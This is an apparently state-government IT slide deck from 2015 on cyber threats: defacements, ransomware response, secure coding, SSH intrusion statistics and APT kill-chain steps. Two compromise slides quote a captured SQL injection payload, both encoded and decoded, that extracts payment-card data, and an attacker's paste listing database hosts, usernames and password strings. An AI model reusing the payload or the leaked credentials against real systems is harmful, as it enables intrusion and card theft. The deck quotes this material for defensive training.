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Cyber Threats and Trends
October 27, 2015
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Topics

212/9/2015 Information Technology

• Threats & Trends
• Adversaries

- Have we seen them?
• Denial of Service Attacks
• Web Defacements
• System Compromises
• Ransomware

• Trends
• More Flash and Java Exploits
• More devices = bigger target pool (IoT)
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Adversaries & Cyber Threats
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Insider Uber Geek
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• Just because you can, doesn’t mean you should…
• Set up a web server on a desktop/laptop system
• Anyone in the network could link to the host over port 80
• Default page was a series of bookmarks in html 
• Some linked to administrative interfaces on 

departmental servers and had username and password 
for the account login

• About 30% of the links were not work related
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Insider Uber Geek
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• Just because you can, doesn’t mean you should…
• Set up a web server on a desktop/laptop system
• Anyone in the network could link to the host over port 80
• Default page was a series of bookmarks in html 
• Some linked administrative interfaces on departmental 

servers and had username and password for the 
account login on the linked server

• About 30% of the links were not work related
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Web Defacements

Example:
North Carolina State 
University

• Targets of Opportunity
• Wordpress Plugin

• Political Messages

• MexicanHackers is a 
single Muslim Mexican 
hacker voicing support 
of ISIL/ISIS and 
distrust of current 
Mexican government 
leadership.
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Web Defacements

Example:
Winston-Salem State 
University

• Targets of Opportunity
• Political Messages

• AnonGhost – currently 
has a campaign called 
#OpChapelHill
targeting college web 
sites in retaliation for 
the shootings of three 
Muslim students in 
February.
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Web Defacements

Example:
readync.org

• Targets of Opportunity
• Exposed Upload 

Script
• Political Messages

• ToxicDZ (TeamDZ) 
Algerian Hackers –
Stopped short of direct 
support of ISIL/ISIS.
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Web Defacements

Example:
readync.org

• Targets of Opportunity
• Exposed Upload 

Script
• Political Messages

• Hp-Hack Saudi 
Arabian hackers.
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Secure Coding (1)
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• Many applications within State government are 
home grown or custom from a vendor
• Problem:

• We don’t include language in contracts to 
hold the vendors accountable or require 
them to adhere to secure coding best 
practices

• We leverage non-technical personnel with an 
interest and limited skill set to develop 
applications
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Secure Coding (2)
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• Non-Technical Personnel:
• Not aware of the security threat
• Not trained to program securely

• Include variables and sensitive data in 
URLs (passwords)

• Don’t understand the need to examine 
and validate input from users and other 
systems
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Secure Coding (3)
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• Need to validate input is what it purports to be
• Png upload could really be a webshell php/asp 
script 

• Field inputs do not contain codes or 
instructions that might be interpreted by back 
end systems to provide information on the 
server design, capabilities, or protected 
database contents (SQLi)
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Secure Coding (4)
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• Check inputs meet the expected variable type 
and size limits and discard or sanitize avoid buffer 
overflows which might return memory contents or 
result in execution of code inserted in the excess 
data
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Web Server Data Compromise

Notification: Post to PasteBin service - Found by AP reporter who contacted PIO
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 ____  __       __        __         ________                            __  __  
|    |/ _|____ |  |___  _|__| ____  /   _____/ ____   ____  __ _________|__|/  |_ ___.__.
|      <_/ __ \|  |\  \/ /  |/    \ \_____  \_/ __ \_/ ___\|  |  \_  __ \  \   __<   |  |
|    |  \  ___/|  |_\   /|  |   |  \/        \  ___/\  \___|  |  /|  | \/  ||  |  \___  |
|____|__ \___  >____/\_/ |__|___|  /_______  /\___  >\___  >____/ |__|  |__||__|  / ____|
        \/   \/                  \/        \/     \/     \/                       \/
‐‐‐ contact:https://www.facebook.com/pages/KelvinSecurity/1470285456587684
    author: kelvinsecurity

‐‐‐‐‐ больш 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
Што Kelvinsecurity?

Kelvinsecurity з'яўляецца хакер твар шукае збору інфармацыі вялікіх людзей па ўсім свеце, падлучаных 
да сеткі, і ўразлівыя да гэтых платформах.
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
‐‐‐‐‐‐‐‐‐‐‐‐
North Carolina State Goverment Is Hacked By KelvinSecTeam
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
TARGET:http://www.ncparks.gov/
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
Host    User    Password
127.0.0.1       root    1618133527927dee
localhost losborne 4a1d5c113129f682
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Web Server Data Compromise
Attempt to evade IDS by obfuscating the SQL Injection commands used…

family=999999.9%27%20union%20all%20select
%200x31303235343830303536%2C%28select%20c
oncat%280x27%2C0x7e%2Cunhex%28Hex%28cast%
28pcard_users.last_name%20as%20char%29%29
%29%2C0x5e%2Cunhex%28Hex%28cast%28pcard_u
sers.pcard_numname%20as%20char%29%29%29%2
C0x5e%2Cunhex%28Hex%28cast%28pcard_users.
card_number%20as%20char%29%29%29%2C0x5e%2
Cunhex%28Hex%28cast%28pcard_users.first_n
ame%20as%20char%29%29%29%2C0x5e%2Cunhex%2
8Hex%28cast%28pcard_users.bank%20as%20cha
r%29%29%29%2C0x5e%2Cunhex%28Hex%28cast%28
pcard_users.transactions%20as%20char%29%2
9%29%2C0x5e%2Cunhex%28Hex%28cast%28pcard_
users.location%20as%20char%29%29%29%2C0x2
7%2C0x7e%29%20from%20%60bdb_backup%60.pca
rd_users%20limit%207%2C1%29%20%2C0x313032
35343830303536%2C0x31303235343830303536%2
0and%20%27x%27%3D%27x

family=999999.9' union all select 
0x31303235343830303536,(select 
concat(0x27,0x7e,unhex(Hex(cast(pcard_use
rs.last_name as 
char))),0x5e,unhex(Hex(cast(pcard_users.p
card_numname as 
char))),0x5e,unhex(Hex(cast(pcard_users.c
ard_number as 
char))),0x5e,unhex(Hex(cast(pcard_users.f
irst_name as 
char))),0x5e,unhex(Hex(cast(pcard_users.b
ank as 
char))),0x5e,unhex(Hex(cast(pcard_users.t
ransactions as 
char))),0x5e,unhex(Hex(cast(pcard_users.l
ocation as char))),0x27,0x7e) from 
`bdb_backup`.pcard_users limit 7,1) 
,0x31303235343830303536,0x313032353438303
03536 and 'x'='x

Obfuscated: Converted:
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Web Server Data Compromise

Kelvinsecurity з'яўляецца хакер твар шукае збору інфармацыі вялікіх людзей 
па ўсім свеце, падлучаных да сеткі, і ўразлівыя да гэтых платформах.

-----------------------------------------------------------------------------------------------------
Kelvinsecurity hacker is a person looking for a collection of information of great 
people around the world connected to the network and are vulnerable to these 
platforms.
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Ransomware Indicators of Compromise

• System hard disk activity

• Potentially high CPU usage 
(Encryption)

• Increased network activity to file 
shares

• Inability to access files

• Presence of Notice/Instructions

17
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CTB Notice

18
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TeslaCrypt Notice
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AlphaCrypt Notice

20
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Post Infection Ransom

• Instructions
• BitCoins or PayPal ($200 - $1,000)

• Suggests Currency to BTC Conversion Services 
• The Onion Router (TOR) Network

• TOR Hidden Payment Site
• Payment (Not Recommended)

• Decryption Key will usually be provided if paid by 
deadline (no guarantee)

• Decryption will take as long as encryption

21
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Recovery

• Remove Infected system from network
• Examine user’s e-mail and web browsing history for 

potential source of infection
• Reimage System before bringing back on to the 

network
• Restore lost file share and local data from known good 

back up media
• Remove ransom instructions (text files) from impacted 

folders
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Prevention (Users)

• User Awareness
• Don’t Keep OR Back up important files on local 

system
• Don’t follow links or open attachments in unexpected 

or suspicious e-mails
• Report suspicious e-mails to report.spam@nc.gov

so they can be filtered
• Web browsing should be work related
• Suggestion: Do not allow checking of personal e-mail 

from State systems
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Prevention (System Controls)

• End User Accounts should not be 
administrators on their local system

• Implement Microsoft AppLocker GPO
• Prevents execution of files from the 

c:/Users/<user>/AppData/ folder and 
subs

• Application Whitelisting/SW Restriction
• Utilize WCF and DNS FW
• Patch – OS to plugins (Flash, Java)
• Allow/Install Pop-up and Ad Blockers
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State Perspective

• Ransomware infections are a reportable incident to the State 
CIO

• Engage DIT AD team for GPO support

• Follow-up with a report to www.ic3.gov
• Provide “Crypto_____” and “ransomware” as keywords in 

report
• Builds victim list for FBI to use if suspects are indicted for 

building, distributing and receiving payments associated with 
the ransomware
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Secure SHell - SSH in the Matrix 
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SSH Attempted Intrusions (Targets)
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SSH Attempted Intrusions (Targets)

Country 2008 2009 2010 2011 2012 2013 2014 Avg

China 25.65% 34.57% 36.82% 32.06% 44.60% 48.40% 44.60% 38.10%

United States 25.14% 16.26% 14.56% 14.60% 14.48% 13.34% 14.48% 16.12%

Korea Republic of 5.56% 5.70% 9.52% 6.82% 5.54% 4.64% 5.54% 6.19%

Unknown 0.02% 2.43% 1.35% 6.06% 4.10% 1.96% 4.10% 2.86%

India 2.30% 2.38% 2.90% 2.39% 2.20% 1.65% 2.20% 2.29%

Russian Federation 1.32% 2.09% 1.76% 2.35% 2.75% 2.20% 2.75% 2.17%

Germany 2.30% 1.68% 1.84% 3.28% 1.83% 2.29% 1.83% 2.15%

Brazil 3.10% 2.51% 2.45% 1.94% 1.61% 1.65% 1.61% 2.13%

Taiwan 2.34% 2.57% 1.78% 1.59% 1.11% 1.05% 1.11% 1.65%

United Kingdom 1.77% 1.28% 2.05% 1.88% 1.49% 1.57% 1.49% 1.65%

France 1.91% 1.87% 1.25% 2.42% 1.36% 0.89% 1.36% 1.58%

Japan 3.52% 1.66% 0.96% 0.70% 0.88% 0.99% 0.88% 1.37%

Canada 1.30% 1.66% 0.82% 2.89% 0.78% 1.09% 0.78% 1.33%

Netherlands 1.14% 1.20% 0.88% 1.90% 1.37% 0.91% 1.37% 1.25%

Turkey 0.37% 0.94% 1.34% 1.18% 1.29% 2.34% 1.29% 1.25%
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Verizon External Actor Origination
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In the News
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In the News
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Hacking 9 – 5 Beijing Time
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Hacking 9 – 5 Beijing Time
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Advanced Persistent Threats (APT)

1. Reconnaissance
2. Weaponize
3. Delivery
4. Exploit
5. Installation
6. Command & Control (C2)
7. Actions on Objectives

TTP’s and Cyber Kill Chain
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APT Spearphish Case Study Recap

• Reconnaissance – Identify potential group that has or will have 
access to information desired – find valid contents for payload. Used 
Staff Directory from Rail Division Web Site (12/5/2013 - China 
1.202.124.195) www.bytrain.org/redbarinfo/staff/Default.html

• Weaponize – Add exploit code to Word Document that contains valid 
staff directory - Exploit MS12-027 (April 2012)

• Delivery – Spoof e-mail address of Director@ncdot.gov and send e-
mail with links to malicious document to people listed in staff 
directory. (12/10/2013)

• Exploit – Have recipients download and open malicious file.

• Installation – Exploit code compromises system.

• Command & Control (C2) – Systems phone home to adversary.

• Actions on Objectives – Adversary installs additional malicious 
software and begins to move laterally in the network collecting and 
exfiltrating desired information.
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Trends – Flash Exploits

In the first quarter, 
42 new Flash 
vulnerabilities were 
found, an increase of 
50% from the 28 Flash 
vulnerabilities found in 
the fourth quarter of 
2014. It is the highest-
ever number of Flash 
vulnerabilities reported 
in a quarter.

Source: McAfee Labs  12/9/2015 Information Technology
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Exploit Kits Targeted Vulns

• Flash (swf)

• Java (jar)

• Silverlight

Source: McAfee Labs  12/9/2015 Information Technology
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Questions?
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